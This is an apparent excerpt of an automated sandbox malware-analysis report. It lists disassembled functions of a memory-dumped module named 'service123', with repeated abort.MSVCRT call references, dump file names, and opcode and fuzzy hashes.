abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D44
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D4C
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 80b3db2a14cb95c0ae5c3092de111739918bdca439d09c918f98b621db64b308
Instruction ID: 39f815b5b683c13b81c471a7f94360d5266788245faad058bdf2e2bb9f96a52c
Opcode Fuzzy Hash: 80b3db2a14cb95c0ae5c3092de111739918bdca439d09c918f98b621db64b308
Instruction Fuzzy Hash: 220128B2501201CFE718EF2CD599B59B7B0FB62309F019B58C184DBA11D738E818CFA0

Function 6C7A28BB Relevance: 42.1, APIs: 28, Instructions: 73COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 6C876CF4
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876CF9
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876CFE
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D03
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D08
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D12
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D17
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D21
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D26
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D30
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D35
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D44
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D4C
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 2e978d3e2012b80302083603fa974679e580457a8bd6db9ba48f6c05a31021f7
Instruction ID: 2ba735bf97ee2ce8c607e0f2c875becf7fff44223210e19f4c549485d1b4f11a
Opcode Fuzzy Hash: 2e978d3e2012b80302083603fa974679e580457a8bd6db9ba48f6c05a31021f7
Instruction Fuzzy Hash: 2C016971502101CFE318EF1CD699B6AB7B0FB62309F019A58C1849BB01D735E818CF91

Function 6C7A2A6E Relevance: 42.1, APIs: 28, Instructions: 71COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 6C876CF4
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876CF9
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876CFE
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D03
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D08
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D12
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D17
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D21
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D26
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D30
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D35
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D44
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D4C
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 4a60b019b982438fa44c52362797b5476a681171cebffc31877e5d037ab1c783
Instruction ID: b05e7d2d95fd0148aef2e566ed501a3363253f9138defcbfd423fcc67b50e783
Opcode Fuzzy Hash: 4a60b019b982438fa44c52362797b5476a681171cebffc31877e5d037ab1c783
Instruction Fuzzy Hash: 140137B1501201DFE718EF19D699B6AB7B0FB62309F019E58C454ABB01D735E818CF91

Function 6C7A2B13 Relevance: 42.1, APIs: 28, Instructions: 69COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 6C876CF4
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876CF9
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876CFE
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D03
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D08
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D12
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D17
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D21
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D26
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D30
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D35
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D44
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D4C
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 1e1a50dbd009c4d7ee7637194a878d969f11af51e7a2ed24116428467c033d95
Instruction ID: 36c7b309dfc5648d885681ba7a2d329fb2e64a33e4a94833d8ac2c1c31b9c405
Opcode Fuzzy Hash: 1e1a50dbd009c4d7ee7637194a878d969f11af51e7a2ed24116428467c033d95
Instruction Fuzzy Hash: BBF049B1505201CFD714EF18D699B6AB7B0FB62309F019E58C454ABB01D735E428CF91

Function 6C7A29B1 Relevance: 42.1, APIs: 28, Instructions: 67COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 6C876CF4
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876CF9
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876CFE
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D03
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D08
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D12
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D17
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D21
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D26
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D30
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D35
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D44
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D4C
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: ff59b1c34b402d022807c44dc0658ba297f268564da4249bcaed4897ba97e5e8
Instruction ID: 1c52ddb106955f7e30de182fb21894480ed74647aaee8f99432be5f69c72f299
Opcode Fuzzy Hash: ff59b1c34b402d022807c44dc0658ba297f268564da4249bcaed4897ba97e5e8
Instruction Fuzzy Hash: 2AF044B1501201CBD724EF58D2A9B6AB7B0FB62308F019E58C414ABA02E735E429CB95

Function 6C7A2AAD Relevance: 42.1, APIs: 28, Instructions: 65COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 6C876CF4
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876CF9
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876CFE
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D03
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D08
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D12
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D17
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D21
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D26
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D30
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D35
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D44
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D4C
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 5a60f0a279d5ab2c7d3b7ea6f512becadaad151f2b5245ea4bbc78d4fb472439
Instruction ID: 79c178a360ba75802570f6f235dc61f163a5ee5ae07bdb2e5b9d3b072208f700
Opcode Fuzzy Hash: 5a60f0a279d5ab2c7d3b7ea6f512becadaad151f2b5245ea4bbc78d4fb472439
Instruction Fuzzy Hash: BEF017B1505212CBD724EF19C299B6AB770FF53308F019E58C415ABE46EB35E429CF91

Function 6C7AB930 Relevance: 40.6, APIs: 27, Instructions: 135COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876CF9
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876CFE
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D03
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D08
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D12
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D17
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D21
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D26
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D30
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D35
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D44
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D4C
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D51
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D56
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D5B
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.3886662064.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.3886621305.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886802223.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886841243.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886928620.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886954478.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.3886994360.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: abb0b2bf13021719d73e3ffa06ae79df47a0efb50a7b2d1246f68d090af40624
Instruction ID: 7187acef9f40cdd6085932dc39cd26a84fb0f5e89d9315cb3daf4f23c747eea6
Opcode Fuzzy Hash: abb0b2bf13021719d73e3ffa06ae79df47a0efb50a7b2d1246f68d090af40624
Instruction Fuzzy Hash: 8431273120970CDFC3108ED9C691396BBE5EB8A314F408A3AE65487B51E334BC16DB55

Function 6C7ABFCC Relevance: 39.1, APIs: 26, Instructions: 63COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D03
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D08
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D0D
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D12
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D17
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D1C
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D21
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D26
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D2B
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D30
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D35
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3A
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D3F
abort.MSVCRT(?,?,?,?,00000001,?,6C7AC5DB), ref: 6C876D44
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D4C
